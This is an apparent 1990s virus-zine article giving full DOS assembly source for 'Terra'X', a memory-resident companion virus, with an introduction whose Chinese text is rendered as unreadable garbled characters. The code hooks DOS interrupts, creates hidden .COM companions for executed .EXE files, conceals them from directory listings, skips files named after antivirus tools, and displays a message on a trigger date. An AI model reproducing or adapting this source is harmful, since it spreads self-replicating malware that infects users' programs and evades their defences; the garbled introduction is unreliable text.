
               ¡¸ ¢â¢Þ¢ä¢Ý¯f¬rÂø»x  ²Ä¢¯¢¯¢°´Á  TPVO-001.006 ¡¸

                          ¡·¦ñÀH«¬¯f¬r-Terra'X¡·
                           by Zhuge Jin of TPVO

  ==========================================================================

       ©I¡I«e¤@°}¤l±q IR ¯f¬rÂø»x¤¤¬Ý¨ì¤@°¦¦ñÀH«¬¯f¬r¡AÁöµM¼gªºÁÙ¤£¿ù¡I¥i¬O
   ÁÙ¬OÄ±±o¦³¨Ç³¡¥÷ÁÙ¤£¤Ó¦n¡H¡H©ó¬O¥G§Ú´N¼g¤F³o°¦¬r¦W¬° Terra'X ¡I

       ³o°¦¬r§Ú¨S¦³¥[¥ô¦ó¯}Ãa°Ê§@¡A¥i¯à³Ìªñ³sÁä½L³£¤£¤Ó³ßÅw¸Iªº­ì¬G§a¡I³Ü¡H
   ³o°¦¬r¥D­nªº¥\¯à¬O·P¬V .COM »P .EXE ÀÉ¡Idir ®ÉµLªk§ä¨ì¯f¬rªº¥DÀÉ¡H³o¨Ç³£
   ¬O«Ü°ò¥»ªº¡A§Ú·Q¤j®a³£·|¬Ý±oÀ´§a¡I¥Î¤£µÛ§Úµù¸Ñ§a¡H¡H

   ¥H¤U´N¬OTerra'X ªº .COM ! °õ¦æ«e½ÐÀH«K copy ¤@­Ó .EXE ÀÉ¬°TERRAX.EXE ¡I
   ¦pªG¤£·Ó°µªº¸Ü·|·í¾÷³á¡I³Ü¡Iª±ªº´r§Ö§a¡I;_)

 ¥H¤U«Y­ì©lµ{¦¡...

  ===========================================================================

;
; This is [TERRAX] virus !
; Written by Zhuge Jin at TPVO , 1995 .
;

TERRAX  SEGMENT
        ASSUME CS:TERRAX,DS:TERRAX,ES:TERRAX

        .286

        org 0000h

vir_start:
        jmp short start

oint21h_ip dw ?
oint21h_cs dw ?

pcb   dw ?
      dw 0080h
psp_1 dw ?
      dw 005ch
psp_2 dw ?
      dw 006ch
psp_3 dw ?

start:
        mov si,0100h

        mov ds:[si+OFFSET psp_1],ds
        mov ds:[si+OFFSET psp_2],ds
        mov ds:[si+OFFSET psp_3],ds

        mov ah,04h
        int 1ah

        cmp dl,18h
        jnz no_show

show:
        push dx
s_a1:
        pop dx

        in ax,40h
        and ax,0303h
        add dx,ax

        in ax,40h
        and ax,0303h
        sub dx,ax

        push dx

        cmp dh,18
        ja s_a1

        cmp dl,44
        ja s_a1

        mov di,0006h

        in ax,40h
        mov bx,ax
        mov bh,00

        mov bp,OFFSET tpvo+0100h
s_a2:
        mov ax,1300h
        mov cx,35
        int 10h
        dec di
        jz s_a1

        add bp,cx
        inc dh
        jmp short s_a2

no_show:
        xor bx,bx
        mov ds,bx

        mov bl,21h*04h

        mov ax,OFFSET vint21h+0100h
        xchg ax,ds:[bx]
        mov cs:[si+OFFSET oint21h_ip],ax
        mov ax,cs
        xchg ax,ds:[bx+02h]
        mov cs:[si+OFFSET oint21h_cs],ax

        cli
        mov sp,OFFSET vir_end+0100h
        sti

        mov ah,4ah
        mov bl,(OFFSET vir_end+0100h)/10h+01h
        int 21h

        xor di,di
        mov es,es:[di+2ch]
        mov al,00h
        mov cx,8000h

get_name:
        repnz scasb
        cmp al,es:[di]
        loopnz get_name

        add di,0003h

        push di

        mov al,'.'
        repnz scasb
        mov ax,'XE'
        stosw
        stosb

        pop di

        push es
        pop ds

        push cs
        pop es

        mov ax,4b00h
        mov bx,OFFSET pcb+0100h
        mov dx,di
        int 21h

        mov ah,4dh
        int 21h

        push cs
        pop ds

        mov ax,cs
        dec ax
        mov es,ax

        mov cx,0007h
        mov di,0008h
        mov si,OFFSET not_file+0101h
        repz movsb

        xor ax,ax
        stosb

        push cs
        pop es

        mov dx,OFFSET vir_end+0100h
        int 27h

stealth1:
        push bx

        mov bx,dx
        cmp byte ptr ds:[bx],0ffh
        jnz stealth_noex

        test byte ptr ds:[bx+06h],02h
        jz stealth_noex

        xor byte ptr ds:[bx+06h],02h

stealth_noex:
        pop bx

        jmp short dos_int21h

stealth2:
        test cl,02h
        jz stealth_ext

        xor cl,02h

stealth_ext:
        jmp short dos_int21h

vint21h:
        pushf

        cmp ah,11h
        jz stealth1

        cmp ah,4eh
        jz stealth2

        cmp ax,4b00h
        jz infect

dos_int21h:
        popf
        jmp dword ptr cs:[OFFSET oint21h_ip+0100h]

int21h:
        pushf
        call dword ptr cs:[OFFSET oint21h_ip+0100h]
        ret

infect:
        push ax
        push bx
        push cx
        push dx
        push di
        push si
        push ds
        push es

        xor bx,bx
        mov es,bx

        push word ptr es:[bx+24h*04h]
        push word ptr es:[bx+24h*04h+02h]

        push bx
        push es

        mov word ptr es:[bx+24h*04h],OFFSET vint24h+0100h
        mov word ptr es:[bx+24h*04h+02h],cs

        push cs
        pop es

        mov di,OFFSET buffer+0100h
        mov si,dx

        mov ah,60h
        call int21h
        jc vint21h_ext

        add di,0080h

        mov ah,60h
        call int21h
        jc vint21h_ext

        mov al,'.'

        cld
        repnz scasb

        push cs
        pop ds

        mov si,di

        call chk_not_file
        jc vint21h_ext

        mov ax,'OC'
        stosw
        mov al,'M'
        stosb

        sub di,0083h

        mov ax,'XE'

        mov dx,OFFSET buffer+0180h

        cmp word ptr es:[di],ax
        jz inf_a

        stosw
        stosb

        mov di,OFFSET buffer+0100h
        mov ah,56h
        call int21h
        jc vint21h_ext

inf_a:
        mov ah,5bh
        mov cx,0002h
        call int21h
        jc vint21h_ext

        push cs
        pop ds

        xchg bx,ax
        mov ah,40h
        mov cx,OFFSET vir_end-OFFSET vir_start
        mov dx,OFFSET vir_start+0100h
        call int21h

        mov ah,3eh
        call int21h

vint21h_ext:
        pop es
        pop bx

        pop word ptr es:[bx+24h*04h+02h]
        pop word ptr es:[bx+24h*04h]

        pop es
        pop ds
        pop si
        pop di
        pop dx
        pop cx
        pop bx
        pop ax
        jmp short dos_int21h

vint24h:
        xor al,al
        iret

chk_not_file:
        std
        lodsb
        cmp al,'\'
        jnz chk_not_file

        cld
        lodsw

        push di
        mov di,si
        push di
        mov si,OFFSET not_file+0100h
        xor cx,cx
chk_again:
        pop di
        push di
        inc si
        add si,cx
        cmp word ptr ds:[si-01h],0ffffh
        jz chk_fa
        xor cx,cx
        mov cl,ds:[si-01h]
        repz cmpsb
        jnz chk_again
        pop di
        pop di
        stc
        ret
chk_fa:
        pop di
        pop di
        clc
        ret

not_file db 7,'COMMAND'
         db 3,'IBM'
         db 2,'ET'
         db 2,'PC'
         db 2,'TB'
         db 4,'CKVI'
         db 4,'KLVI'
         db 4,'DEVI'
         db 5,'BTOOL'
         db 5,'RTOOL'
         db 5,'TDISK'
         db 4,'SCAN'
         db 5,'CLEAN'
         db 4,'HUNT'
         db 2,'F-'
         db 2,'TR'
         db 1,'G'
         db 1,'Z'
         db 0ffh,0ffh


tpvo db "ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¸Ü "
     db "º          ¯ Terra'X ®          ³Û "
     db "º-------------------------------³Û "
     db "º Written By Zhuge Jin at TPVO. ³Û "
     db "ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ "
     db " ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß "

buffer  db 0100h dup(?)

vir_end:

TERRAX  ENDS
        END vir_start

